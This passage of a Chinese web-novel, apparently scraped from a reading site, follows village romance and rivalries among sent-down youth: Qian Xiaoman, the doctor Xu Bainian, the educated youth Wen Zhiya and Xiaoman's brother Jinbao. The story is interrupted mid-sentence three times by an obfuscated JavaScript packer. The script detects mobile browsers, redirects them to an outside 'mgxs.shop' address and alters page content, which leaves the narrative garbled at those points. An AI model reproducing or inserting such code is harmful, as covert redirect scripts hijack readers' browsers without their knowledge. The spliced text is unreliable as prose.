文知雅脸上的血色一点点褪去,眼里的光逐渐暗淡,手里的笔捏得指节发白。 许柏年对上她的眼睛,目光带着明显的不认同,还有几分难言的沉色。算不上生气,只是觉得她话说得太过锋利。 钱小满撞上他的眼神,心口像被细针扎了一下。 她说的难道不是实话吗?梦里的文知雅就是没能回城。自己不过是把现实摊开来讲,许柏年为什么要用那种眼神看她? 文知雅低下头,泪水在眼眶里打转,她盯着本子上的题目,只觉得字迹模糊,一个字都看不进去。 她其实一直都清楚,自己多少有些理想主义。钱小满说的每一句,都是她不敢细想的现实。 她接近许柏年,确实只是为了补习。甚至在她心里,许柏年成分比她还差,给不了她任何助力。她欣赏他的学历,从没想过要跟他有任何瓜葛。 她家里两个哥哥,父母重男轻女。大哥虽有心顾着她,却有三个孩子要养活,自顾不暇;二哥被父母惯得自私自利,只想着压榨她。家里她靠不上,只能拼了命考大学,才能跳出乡下,改变命运。 她知道钱小满说的都是实话,只是不愿去想、不敢去想。她看书做题,找许柏年请教,假装只要努力就还有希望。可钱小满这番话,像一盆冷水当头浇下,把她那点自欺欺人的火苗彻底浇灭了。 父母把她送到乡下,就没打算再让她回去。她以为自己能靠自己争一条路,可有些事,从来都不是努力就能改变的。 许柏年见她状态不对,淡淡开口:“调整好情绪,下次再来吧。” 文知雅如梦初醒,匆匆合上本子,站起身,声音发哑:“那我先回去了。”说完几乎是逃似的离开了院子。 院子里只剩下许柏年和钱小满。 钱小满仰着脑袋,假装看天看云,不安地抠着手指,装傻充愣。 许柏年目光落在她脸上,语气认真:“你刚才的话,说得太直白,太刺耳了。” 钱小满不服气地瞪着他:“我说的是实话!解决不了家庭出身的问题,这些知青有一半都上不了大学。我又没说错,你干嘛那样看我。” 许柏年一时沉默,心情有些复杂。 平日里天真傻气的钱小满,心里倒比谁都清楚现实,一句话就戳中了知青们最痛的地方。 他缓了缓语气,再次劝道:“你是没说错,但实话也要分时候说,你说的那些事实,她不是不知道。非要当面戳破,除了让她难受,没有任何用处。” 钱小满张了张嘴,想反驳,却又无话可说。 她心里不是不明白,只是醋劲一上来,什么都顾不上了,嘴上却依旧硬撑。 “反正都是实话,”她别过脸,“成分不好就是难办。学习好的人多了去了,有用吗?还不是要看成分。她就算考上了,该回不去城,还是回不去。” 许柏年沉默片刻。 “你怎么想到这些的?”他问。 钱小满含糊道:“她能来下乡,肯定是在家不受宠。家里真有人疼她,能让她一个人在这儿吃苦?” 许柏年没说话,算是默认。 “反正,”钱小满站起身,拍了拍裙子,“我说的都是大实话。她要是受不了,那是她自己的事。她这么脆弱,以后有得哭鼻子。” 许柏年看着她,无奈地叹了口气:“以后说话别这么直,容易得罪人。” 钱小满眼珠一转,猝不及防凑到他面前,仰着脸笑盈盈地看向他:“那我说话这么直,得罪你了没有?” 许柏年一滞。 “你要是嫌我说话难听,”钱小满眼睛亮晶晶的,带着几分狡黠,“那你管着我啊。你教我怎么说话,教我什么时候该说什么,不就好了?” 许柏年心里有点乱,不动声色地移开视线,拿起桌上的书假装翻看。 “胡闹。” 钱小满见他这副不自在又尴尬的模样,忍不住哈哈大笑,转身一溜烟跑了,轻快的脚步声一路撒到院外。 许奶奶从窑洞里出来,看他魂不守舍的样子,叹了句:“人家小姑娘心思都写脸上了,就你还装糊涂。” “走了。”许柏年含糊应了一声。 “怎么走这么急?” 许柏年沉默着垂眼,纸上公式写得杂乱无章,恰如他此刻久久无法平复的内心。 文知雅狼狈地离开许家小院,抱着课本往知青点走。她不想让人瞧见自己脆弱的模样,一路埋着头,谁知一不小心跟人迎面撞到一起。 对方也没料到她这般莽撞,被撞得踉跄了一下,肩上扛着的锄头险些脱手。文知雅本就心神不宁,这下更是站不稳,往后一倒,结结实实摔了个屁股墩。 疼。 文知雅愣愣抬头,泪眼婆娑地望着眼前的人。 男人个子很高,肩膀宽得像一堵墙,穿着一件被汗水浸透的灰色褂子,袖子卷到胳膊肘,露出结实粗壮的小臂。他皮肤晒得黝黑,五官棱角分明,浓眉大眼,鼻梁挺直,一看就是地道的庄稼汉,那股硬朗粗粝的劲儿和知青点那些文弱书生截然不同。 钱金宝被撞得莫名其妙,低头一看,一个姑娘坐在地上,眼睛红红的,泪珠挂在睫毛上,可怜巴巴地望着自己。 他一下子就慌了。 “同志,你没事吧?”他连忙撂下锄头,蹲下来,想伸手扶她,又觉得不合适,手伸到一半又缩了回去,“我……我没看清路,对不住对不住。” 文知雅认出他了。支书家的老二,大队的拖拉机手,人人都说是个老好人。 她心里飞快盘算了一圈。 “没事,”她撑着地想要站起来,刚起到一半,身子一晃,又坐了回去,眉头皱起来,声音带着委屈的哭腔,“好像……脚崴了。” 钱金宝脸色一下就白了。 “崴了?”他慌了神,手足无措地蹲在原地,不敢碰她,又觉得自己把人撞成这样,不碰说不过去,“哪只脚?严不严重?我……我送你去卫生室?” 文知雅抿了抿嘴,声音软绵绵的:“不用去卫生室,应该就是扭了一下。” 她说着又试着起身,这次总算站稳,可脚一沾地便疼得倒抽一口冷气,身子晃了晃,本能地抓住了钱金宝的胳膊。 钱金宝浑身一僵。 她的手指细白,搭在他黝黑粗糙的小臂上,像雪花落在了黄土地上。他整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478216|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都僵住了,胳膊上的肌肉绷得硬邦邦,连呼吸都重了几分。 “对不起,”文知雅像是这才意识到自己抓着他,慌忙松开手,脸颊微微泛红,“我……我不是故意的。” “没事没事,”钱金宝脸一下子烧了起来,局促地挠着头,“你脚疼就别硬撑了,我送你回去。你住哪儿?” 文知雅犹豫了一下:“知青点。” “那我送你。”钱金宝弯腰把锄头捡起来,扛在肩上,又看了看她,“你能走吗?” 文知雅试着走了两步,一瘸一拐,每一步都像是在强忍疼痛。 钱金宝看不下去了。 “要不……我背你?”他说这话的时候声音很低,眼睛不敢看她,脸上的表情像是做了什么重大决定。 文知雅垂下眼,轻轻点了下头:“麻烦你了。” 钱金宝把锄头换到左手,在她面前蹲下来。 文知雅趴到他背上,双手虚搭在他肩头,既不敢搂太紧,也不敢靠太近。 钱金宝慢慢起身,晃了晃便稳住身形。背上多了一个人,对他来说却轻得没什么分量,步子依旧稳当轻快。 “你叫什么名字?”他声音有点紧张。 “文知雅。” 钱金宝念了一遍她的名字,“挺好听的。” 文知雅没再说话,趴在他背上,盯着他的后脑勺。头发又黑又硬,脖子晒得黑红,汗珠顺着发际线往下滑。 她忽然觉得有些好笑。这个傻大个,被她随便演了两下就信以为真,还主动要背她,跟他妹妹一样傻气。 “你是支书家的二儿子吧?”她漫不经心地开口。 “嗯,”钱金宝点头,“你认得我?” “见过几次,”文知雅轻声道,“你是大队的拖拉机手,好多人都知道你,是大队唯一会开车的人。” 钱金宝憨憨一笑:“开拖拉机的,不算啥。” 文知雅没再说话。他后背的肌肉随着步伐一张一弛,硬邦邦的,让人莫名感到安稳。 两人拐进村道时,路边有人瞧见了。 “哟,金宝,这是咋了?” 钱金宝连忙解释:“我撞了人家姑娘,她脚崴了,我送她回知青点。” 那人看了看钱金宝,又看了看他背上的文知雅,意味深长地笑了笑,没再多说。 一路上遇见的人越来越多,目光也越来越复杂。有好奇的,有打量的,还有几个大娘凑在一起嘀嘀咕咕,不知道在说什么。 钱金宝浑然不觉,只专心看着路,生怕踩到石子颠着背上的人。 文知雅把那些目光尽收眼底,非但不避,反而心里隐隐觉得满意。支书家的儿子背着她回知青点,这事用不了多久,就会传遍整个大队。 到了知青点门口,钱金宝蹲下身,让她慢慢下来。 “到了。” 文知雅从他背上下来,一只脚站着,另一只脚悬空,扶着门框,对他笑了笑:“谢谢你,钱同志。” “没事没事,”钱金宝挠了挠头,有点不好意思,“你的脚还疼吗……要不要我去卫生室给你拿点药?” “不用了,我自己歇歇就好。”文知雅说着,垂下眼,声音轻飘飘的,“今天麻烦你了。” “不麻烦不麻烦,”钱金宝连连摆手,“是我撞的你,应该的。” 文知雅抬眼瞥了他一下,嘴角弯了弯,没再多说,一瘸一拐地走了进去。 钱金宝站在门口,目送她的身影消失,又站了一会儿,才扛着锄头转身走了。 他走出老远,胳膊上仿佛还残留着她指尖的触感,痒痒的,麻麻的。 他低头看了一眼自己的小臂,挠了挠,又放下,扛着锄头大步往家走。 钱小满正坐在院子里搓苞谷,见钱金宝红着脸回来,像是喝了酒,随口问了一句:“哥,你脸咋这么红?” 钱金宝把锄头放下,闷声道:“晒的。” 钱小满翻了个白眼,太阳都快落山了,撒谎也不找个像样的由头。 钱金宝在门口蹲了一会儿,终究按捺不住,凑过来问:“小满,你认识一个叫文知雅的知青吗?” 钱小满手里的玉米棒子掉了。 她盯着她哥,眼睛瞪得圆溜溜的:“哥,你咋认识她的?” “刚才回来路上我把她撞了,她脚崴了,我送她回去。”钱金宝说得云淡风轻,脸颊却烫得厉害。 钱小满看他一脸荡漾的样子,想让他别做梦了,人家城里来的知青又不瞎,怎么可能看上他这个糙汉子。可话到嘴边又咽了回去,她不忍心打击哥哥。 梦里文知雅最后嫁给了知青,留在了大队,现在她撞上的是自己二哥…… 钱小满手上的动作停了下来,盯着手里光秃秃的玉米芯,发了半天的呆。 10. 我帮你骂回去 李杏花是午后过来的。 她怀里抱着两本课本,一本语文一本数学,都是钱小满以前用过的。钱小满说这些书放着也是落灰,她想看随时来拿。李杏花家里别说课外书,连衣服都是捡剩下的,更别说读书了。 两个人坐在钱小满屋里的炕上,一人靠一边墙。午后的风吹进来,把书页吹得哗哗响,钱小满拿了个东西压住。 李杏花一副心不在焉、欲言又止的模样,完全看不进去。 钱小满斜眼瞥她:“你今天咋回事?一个字都看不进去?” 她抿了抿嘴,凑过来压低声音:“小满,上回我跟你提了一嘴许医生的事,你还记得不?就是他为啥来咱们这儿的。之前我只听了半句,这回我特意找我姑姑问清楚了。” 钱小满翻书的手一顿,立马盘腿坐直,催促李杏花:“你快说说。” 屋里就她们俩,她还是下意识压着嗓子,像在说什么见不得人的秘密。 “我姑姑说,许医生以前在医院是外科主治医师,本事特别大。有一回他从首都探亲回来,刚出火车站,碰见一个人突然倒在地上,浑身抽搐、口吐白沫,周围围了一圈人,没一个敢上前的。” “许医生哪里看得下去?当场就蹲下去给人急救,好歹把人救醒了。他怕那人后续再出状况,还特意留了地址,让家属赶紧送医院好好检查。” 钱小满听着,眉头一点点皱紧。 “后来呢?” “后来那人去医院一查,脑子里长了个瘤子,得开刀。家属不讲理,一口咬定是许医生在火车站乱治病给治坏的,说他没在医院里看病就是滥用医术,天天堵在县医院门口闹,一哭二闹三上吊,闹得整个门诊都没法正常看病。” 李杏花说得义愤填膺:“你说这人咋这么不讲理呢?人家好心好意救你,你不感恩就算了,还讹上了。” 钱小满的手指头在墙皮上抠来抠去。 “医院那边呢?”她气冲冲地追问。 “我姑姑说,医院想压都压不住,许医生为了不让医院为难自己主动提了下乡。许医生走的时候,好多人都舍不得他,可没办法,那家属就跟狗皮膏药似的,撕都撕不掉。” 李杏花说完,看了一眼钱小满的脸色,小心翼翼地问:“小满,你没事吧?” 钱小满盯着凉席上的纹路,她能想象许柏年毫不犹豫救人的样子,也能想象他被人指着鼻子骂庸医的模样。 他怎么就那么软?被人这么欺负,连句狠话都不会说? 钱小满从床上跳下去,穿好鞋子,“杏花,你先看书,我出去一趟。” “你去哪儿?” “去外面透透气。” 钱小满出了院门,一路越走越快,到了村道上,几乎是小跑起来。 她跑到卫生室门口,门开着,许柏年正在整理药柜里的瓶瓶罐罐。 他听见脚步声,抬头望见是她,微微点头:“来了?” 钱小满站在门口,喘着气,心里翻江倒海,却一个字也说不出来,只是静静望着他。 许柏年放下手里的药瓶,轻声问:“怎么了?跑这么急。” 她来的时候想了一大堆话,可到了他面前,迎上他那张淡然的脸,那些话全都堵在嗓子眼里,怎么也说不出来。 她倏地意识到,她有什么资格说他呢?她又不是他什么人。他被人欺负的时候,她压根不知道有他这个人。 “许柏年,”钱小满憋了半天,终于挤出一句:“我……我知道你为啥来乡下了。” 许柏年愣了一下,随即垂下眼,把药瓶放回柜子里。 “谁跟你说的?” “杏花她姑姑在县医院,是她告诉我的。” 许柏年关上柜门,坐回桌前,翻起病历本,语气平淡得像在说别人的事:“都过去了。” 钱小满走到他面前,站在桌子对面,双手撑在桌沿上,直视着他的眼睛。 “许柏年,你就不生气吗?那是救人,又不是你的错,你怎么不辩解?怎么就这么白白受委屈?” 许柏年抬眼对上她的目光。她的脸颊气得鼓起来,倒像是受委屈的是她自己。 他语气平静,问她:“生气有什么用?” “当然有用!”钱小满抬高音量,“你又不是软柿子,凭啥让人随便捏?你好心救人,他们不谢你就算了,还讹你,还把你逼到乡下来,你就这么算了?” 许柏年定定注视着她,沉默了片刻。 “我下乡,不是因为怕他们。一是为了医院清静,二是我觉得乡下确实需要医生。城里少我一个不少,乡下多我一个,或许就不一样。” 钱小满呆住了。 她以为他会说“没办法”“只能认了”之类的话,没想到他会这么说。他不是认命,他是主动选了另一条路。 “那你不委屈吗?”她的声音低了下去。 许柏年垂下眼,嘴角动了一下,像是笑,又不像。 “委屈过,后来想通了。在哪当医生,都是当医生。” 钱小满见他这副脆弱的模样,很想伸手摸摸他的头发,或者拍拍他的肩膀,说一句“你辛苦了”。但她不敢,她的手撑在桌沿上,手指头动了动,最后还是缩了回去。 “许柏年,你是个好人。” 许柏年抬起头,目光凝凝地望着她。 “你是个好医生。”她又认真说了一遍,生怕他没听见。 许柏年睫毛颤了颤,默默移开了视线。 “你今天怎么这么会说话?” 钱小满吸了吸鼻子,勉强笑了:“我本来就会说话,是你平时不听。” 许柏年嘴角弯了弯,转瞬即逝。 钱小满站了一会儿,觉得自已心里好受多了,才开口:“那我走了。” “嗯。” 她走到门口,又回头望向他:“许柏年,你要是以后再被人欺负,你就告诉我。” 许柏年无奈地勾了下唇角:“告诉你干什么?” “我去帮你骂回去。”钱小满说得理直气壮,“我骂人可厉害了。” 许柏年打量她满脸认真的样子,嘴角的弧度弯了些,但很快又收住了。 “好。” 钱小满走了。 许柏年靠在椅背上,闭了一会儿眼。 ----------------- 钱小满没料到,自己刚为许柏年的经历揪心不已,家里又出了事。 她哥钱金宝,最近特别不对劲。 她哥每天早上起来第一件事竟然不是去喂鸡,而是对着镜子刷牙。以前他一年到头也刷不了几回牙,顶多拿盐水漱漱口。现在倒好,一天刷两回,早上刷,晚上从地里回来还刷。 不光刷牙,他还开始认真洗脸了。不是那种拿湿毛巾随便抹一把就完事的洗法,是正儿八经打上胰子,搓出泡沫,连脖子都仔细搓一遍。 钱小满在厨房门口撞见她哥对着水缸当镜子臭美,忍不住好奇:“哥,你相对象了?” 钱金宝脸一红,含糊道:“别瞎说。” 她嫌弃得不行:“那你天天拾掇自己干啥?一点也不像个大老爷们。” 钱金宝支支吾吾没说出个所以然,把头发用水捋顺,穿上压箱底的白衬衫,出门了。 钱小满跟出去,发现她哥往知青点的方向去了。 她心里咯噔一下。 果然,没过几天,村里就传开了:钱金宝在追求省城来的文知青。有人看见他给文知雅送饭,有人看见他帮文知雅挑水,还有人看见他对文知青一脸殷勤。 钱小满彻底坐不住了。 这天晚上,她堵在她哥屋门口,把人拦了下来。 “哥,你是不是喜欢文知雅?” 钱金宝挠了挠头,憨憨地笑了:“你咋知道的?” “全大队都知道了!”钱小满急了,“哥,你俩不合适。她是省城来的知青,一心要考大学、要回城,怎么可能留在乡下跟你过日子?” 钱金宝满不在乎:“她要考大学,我就供她考。她要回城,我就跟她去城里。这有啥不合适的?” 钱小满一时语塞,真想看看她哥脑袋里装的都是啥! “你跟她去城里?你去城里能干啥?会干啥?” “我会开拖拉机啊,到哪儿不能干活?” 钱小满深吸一口气,换了个角度劝他:“哥,她跟你不是一路人。人家文知雅是讲究人,喜欢干净体面的、能跟她聊到一块儿的人,你觉得你跟她哪里合适?” 这话像是点醒了钱金宝。 他低头看了看自己,几年前的白衬衫早已不贴身,指甲缝里还有黑泥,手上的老茧厚得像树皮。 他没说话,转身回屋了。 钱小满以为他听进去了,松了口气。 第二天一早,她看见她哥蹲在院子里刷鞋,凌乱的头发推成了寸头、指甲剪得整整齐齐,换了身合体的干净衣裳,精神得像换了个人。 “哥,你干啥去?” “去找文知青。”钱金宝头也没回。 钱小满傻眼了。 钱金宝说到做到。 他每天收工后先回家洗把脸,换上干净衣服,再去知青点找文知雅。有时候带两个玉米馍,有时候带一把野菜,有时候什么也不带,就是去看看她有什么活要帮忙。 文知雅起初只是客气地拒绝,后来发现这人是实心眼,不图她的回报,慢慢适应了钱金宝的存在。 文知雅在知青点被一个女干部盯着,那人姓赵,是队里派来管知青的,对文知雅格外苛刻,总是挑她的刺。自从钱金宝隔三差五来找她,赵干部的嘴脸变了不少。不是对文知雅变好了,而是不敢像以前那样明目张胆地欺负她了。毕竟支书家的儿子天天过来,谁都得掂量掂量。 文知雅的工作量也少了一些,赵干部把原来她干的几项重活分给了别人,说是“照顾知青”,其实就是看钱金宝的面子。 文知雅心里清楚,嘴上不说,但对钱金宝的态度好很多,偶尔还会跟他说几句话。 钱金宝只当是自己的真心打动了她,越发殷勤。 钱小满觉得不能任由这么发展下去,她哥绝对不能和文知雅在一起,不然以后肯定要受伤。文知雅有目标有主见,不可能甘心嫁给农民。 她决定从根源上解决问题。文知雅未来的丈夫叫陈强,赶紧撮合他们赶紧在一起。这样她哥死了心,文知雅也有了归宿,两全其美。 她找了个借口去知青点送东西,四处打听陈强。很快就在知青点的院子里认出了他。不得不说,这小子长得人模人样,个子中等,皮肤白净,五官端正,眉眼间带着点书卷气,站在一群知青里格外惹眼。 难怪文知雅能看上他,长得确实不错。 她正琢磨着怎么跟陈强搭话,就看见一个女知青笑着拍了拍陈强的肩膀,递给他一封信。陈强也对她笑,接过信,随手塞进口袋。 她没在意,又过了一会儿,她看见另一个女知青端着水从他身边过,故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478217|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溅他几滴,两人嬉笑打闹得毫无顾忌。 钱小满眉心拧在一起。 她在知青点待了小半天,看得清清楚楚,来找陈强的女知青至少有四五个。这个送信、那个送吃的、还有一个直接进屋坐在他床上跟他聊天。 他对谁都笑,对谁都温和,不主动,不拒绝,不清不楚。 钱小满的心一下子凉了半截。这种人能托付终身吗?她要是把文知雅往他身边推,到底是撮合还是害人? 可是转念一想,万一文知雅就喜欢这种类型呢?梦里他们不是在一起了吗?自己要是横插一杠,坏了人家的姻缘,是不是多管闲事? 钱小满纠结了一路,也没想出个结果。 周末,许柏年来给振国、振兴补课。 钱小满坐在一旁陪着,削铅笔、端茶水,脑子里却反反复复都是陈强的样子。 “小满。”许柏年叫她。 “啊?”她猛地回过神。 “想什么呢?叫你好几声都没听见。”许柏年把用完的草稿纸叠好给她,“不够了。” 钱小满抽出几张新的给他,下意识嘀咕:“没什么,我就是在想知青点的陈强。” 她只说了个名字,还没往下说,就发现许柏年手上的动作停下来了。 她小心翼翼地观察他的神色,他脸上没什么表情。 “陈强怎么了?”他声音比刚刚冷淡了些。 钱小满没注意到他语气的变化,自顾自地说:“知青点的陈强啊,长得挺好看,你不认识吗?你觉得他这个人怎么样?” 许柏年没开口,等着她下文。 “你觉得他这个人怎么样?”她单手支着腮,一副若有所思的模样,落在许柏年眼里,却变了味道。 许柏年放下笔,抬眸看向她,眼神沉了些,明显带着几分不易察觉的不悦。 “你问他做什么?” “我就是随便问问。”钱小满被他看得有点心虚,赶紧移开了目光。 许柏年没再追问,重新拿起笔讲课,可接下来的半小时,他话少了很多,语气也冷淡得近乎生硬。 振国做完题抬头:“许老师,我做得对不对?” 许柏年淡淡地“嗯”了一声。 振国看向小姨,又看了看许柏年,总觉得气氛怪怪的,可是他们没吵架啊。 钱小满坐立不安,越想越觉得不对劲,许柏年刚才那个眼神是什么意思? 她偷偷瞥向许柏年,他睫毛垂得很低,薄唇紧抿,下颌线微微绷着,一看就是心情不好。 她心里忽然冒出一个念头——他该不会是吃醋了吧? 这个念头一出来,她自己都吓了一跳。 “许医生,”她试探着叫他,“你生气了?” “没有。”许柏年头也没抬。 钱小满盯着他看了一会儿,嘴角慢慢翘了起来。 “那我跟你说个秘密,”她故意凑近,“陈强那个人吧,我发现他跟好几个女知青都不清不楚的,我感觉文知雅也对他有点意思,不知道要不要告诉她。” 许柏年抬起头,眼神疑惑。 “你问陈强,就是为了这个?” “不然呢?”钱小满眨巴着眼睛,“你以为我找他干嘛?” 许柏年看着她那双亮晶晶的眼睛,被人戳中了心事,仓促移开了视线。 “没什么。” 钱小满看他的反应就知道自己没猜错,心里的喜悦几乎要溢出来。她想逗他两句,又怕把他惹急了,只能忍着笑,低头假装看振兴的本子。 振兴抬起头,天真无邪地问:“小姨,你笑什么?” “我没笑。” “你嘴角都翘到天上去了。” 钱小满伸手把振兴的脑袋按回去:“写你的作业。” 钱小满纠结了两天,也没想好要不要告诉文知雅。 她四仰八叉地躺在炕上,翘着二郎腿,脚时不时晃两下。炕桌上摊着一把刚炒好的瓜子,她随手抓一颗塞进嘴里,嗑一颗想一会儿,再嗑一颗,再想一会儿。 炕桌上的瓜子皮越堆越高,她还是没想到好主意。 告诉文知雅吧,总觉得名不正言不顺。人家会不会觉得她是故意挑事,为了亲哥哥的人生大事,故意破坏别人的姻缘?不告诉吧,万一文知雅真对陈强有意思,被他蒙骗了,自己这不是见死不救吗? 虽说她不喜欢文知雅,但结婚是一辈子的大事,总不能眼睁睁看她往火坑里跳。 正烦着,听见院子里有人喊:“小满同志在家吗?” 钱小满趴在窗户上看了一眼,愣住了。 文知雅站在院子里,穿着一件洗得发白的蓝布衣裳,头发扎成一条辫子,手里提着一个布兜。 钱小满赶紧下床出去。 “你咋来了?”她站在屋门口,有点不自在。 文知雅笑了笑,把布兜递过来:“我自己晒的干菜。” “进来坐吧。”钱小满让开门口。 文知雅跟着她进了屋。 屋里不大,炕上铺着凉席,炕桌上摊着一把瓜子,旁边还有一堆瓜子皮。 钱小满把瓜子皮扫到一边,让她随便坐。两个人面对面坐在炕沿上,中间隔着一张炕桌。 “你找我有事?”钱小满开门见山,语气里带着点警惕。 文知雅低着头,她想了一路的话,到了嘴边还是得斟酌。不能说得太直白,也不能说得太含蓄。太直了像此地无银,太含蓄又怕钱小满听不懂。 11. 你哥是个好人 “上次在许医生家,你说的那些话,我回去想了好久。”她抬起头,看着钱小满。 钱小满眼神躲闪,有点不自在,连忙解释:“我说话是有点重了,你别往心里去……” “不是。”文知雅摇了摇头,拉着她的手:“我不是来怪你的,你说的都是实话。我以前不愿意想,你帮我戳破了,我反而清醒了。” 她当然不是真心感激钱小满。那天钱小满话里带刺,摆明了把她当成要抢男人的情敌,攻击性藏都藏不住。然而她不能计较,计较了显得她斤斤计较,反过来大方接下,反倒显得她大度懂事,还能落个人情。 果然,钱小满吃软不吃硬,脸上的警惕消了下去,换上不好意思。 “那个……我不是故意刺激你的。”钱小满挠了挠头。 文知雅在心底嗤了一声,那天没看出来她多好心,不过自己今天不是为了跟钱小满掰扯这些。 “不管怎么说,谢谢你。”她顺势话锋一转,“其实我今天来,还有一件事。” 她顿了顿,目光落在钱小满脸上。 “你哥最近老往知青点跑,总送东西过来,你劝劝他,别再这么破费了。他挣点工分不容易,省下口粮都往我这儿送,我心里实在过意不去。” 这话是真的。她确实过意不去,但不是心疼钱金宝。 最近村里的流言越来越离谱,都在说她攀附支书家,要嫁给钱金宝当媳妇。说得有鼻子有眼,好像亲眼见到她和钱金宝回家了一样。这话传多了,对她只有坏处没有好处。她还要考大学回城,还要脸面。今天主动上门,一是为了心安,二是为了趁早划清界限,堵住众人的嘴。 钱小满听愣住了,没想到事情这么容易就解决了,文知雅压根就看不上她哥。 “我跟你哥不可能的,”文知雅说得直白干脆,“我是要考大学的,没有结婚的打算,不能耽误他。” 话说出口,她心里明白有点伤人,只有必须说得狠一点,才能彻底断干净。 钱小满哑口无言,脸上有点火辣辣的。 文知雅起身准备告辞,钱小满忽然开口:“你跟知青点的陈强挺熟的吧?” 陈强? 怎么突然提起他? 文知雅看向钱小满,对方故作随意,眼神飘来飘去。她瞬间就懂了。钱小满是不想她跟钱金宝纠缠,所以故意提陈强,暗示她知青点里有城里来的小伙子,让她别打她哥的主意。 她心里有点不是滋味。 她从来没看上过钱金宝,从头到尾都是他自己贴上来。她不过是没彻底推开,借着他挡掉不少刁难。这些话她不能说,说出来就是忘恩负义,只会坏自己名声。 至于陈强……她确实权衡过。 她早就知道陈强家里条件不错,父亲是烟厂主任,他下乡是因为年纪小,家里不缺吃穿用度,时常给他寄日用品和票。她动过心思。如果能和陈强处对象,将来至少不用为学费和生活费发愁。 她不瞎,陈强跟好几个女知青暧昧不清,勾勾搭搭,整个知青点谁看不出来? 之前为了前途,她还能闭着眼睛忍一忍,暂时虚与委蛇。现在连钱小满都能一眼看明白,旁人会怎么想?只会认为她为了往上爬,连这种花花公子都肯贴上去。 她丢不起那个人。 这些话她不能跟钱小满说,只能装傻。 “还行吧,就是普通同志关系。”她淡淡笑了笑。 “你觉得他那人咋样?”钱小满追问。 文知雅歪着头想了想:“他人还行,对谁都和气,跟谁都能说上几句话,我跟他不太熟。” 这话是说给钱小满听的,她跟陈强没什么,跟钱金宝更不会有什么。 钱小满脸色明显松快了些,继续追问:“那你觉得我哥这人咋样?” 文知雅垂下眼。这话不好答。说差了得罪支书家,说好了又怕对方误会。 “你哥是个好人。”她只能这么说,紧接着又补了一句,把路堵死,“我说了,我是要考大学回城的。” 钱小满张了张嘴,最终什么也没说出来。 文知雅站起身告辞。走到门口,她又回头,温和一笑:“小满,谢谢你。” “谢我啥?” “谢你跟我说实话。” 说完,她转身离开。 一出钱家院门,她脚步就慢了下来。 秋风拂面,带着凉意。她轻轻吐出口气,心里的负担总算减轻了不少。 该说的都说了,该表的态也表了,钱小满肯定听得懂。 她和钱金宝之间清清白白,绝无可能。她从头到尾都没对钱金宝动过心。尽管他老实憨厚、好拿捏,父亲还是村支书,在乡下属于香饽饽,却从来不在她的择偶范围里。之前不过是顺势利用一下,今天划清界限是为了她自己的名声和前程。 陈强不值得她放下身段去争,更不值得她赌上自己的名声。 她理了理头发,脚步加快,径直往知青点走去。 从今往后,她要专心复习考大学,谁的人情都不再沾。 钱金宝在地里听说文知雅去了他家,兄弟们打趣他好事就要成了,他激动得撂下锄头就跑。 他一路小跑,到了家门口还喘着粗气,胸口起伏不停。他想直接冲进去,走到院门口,脚步不由自主慢下来,一时间不知道该怎么面对文知雅。 屋里传来妹妹和文知雅的交谈声,文知雅的声音清清淡淡,像冬天的雾,让人捉摸不透。 他鬼使神差地拐了个弯,绕到妹妹的窗户底下。他不是有意偷听,只是想听听她的声音,等她走了再进去,免得撞上了尴尬。 听着听着,他脸上的期待和笑意一点点淡下来,最后只剩落寞。 秋天的太阳照在他背上,暖洋洋的,他浑身发冷。他想转身离开,腿像灌了铅似的,怎么也迈不开步子,只能僵在原地一字不落地听着。 屋里传来文知雅起身的脚步声,他慌忙躲到院墙拐角,目送她的背影走出院门,消失在村道尽头。 钱金宝蹲在墙根下,双手用力搓了一把头发。 他想起第一次见她的样子。她眼泪汪汪地望着他,眼睛红红的,鼻尖也红红的,像一只受惊的兔子,可怜得让人心疼。他想帮她,想让她别再哭了。 后来她面对他不那么拘谨了,偶尔还会对他笑。他觉得自己的心思没白费,以为她在接受自己。 此时屋里的话像一盆冷水,从头到脚把他浇得透凉,把他小心翼翼的感情全浇灭了。 她没有说一句难听的话,既给足了他面子,也清楚地划清了界限,没给他留丝毫余地。 钱金宝把脸埋在膝盖里,蹲了好一会儿才站起来,拍了拍裤腿上的泥巴和草屑,装作什么也没听见,走进了院子。 钱小满正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478218|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾炕桌上的瓜子皮,看见他进来:“哥?你咋这时候回来了?地里的活干完了?” “地里没活了。”钱金宝声音闷闷的,没看她,直接往自己屋里走。 钱小满心里咯噔一下,感到不对劲,连忙跟过去。只见她哥直直躺在炕上,鞋也没脱,脸朝里,一动不动,浑身透着一股说不出的低落。 “哥?”她试探着叫了一声。 没有回应。 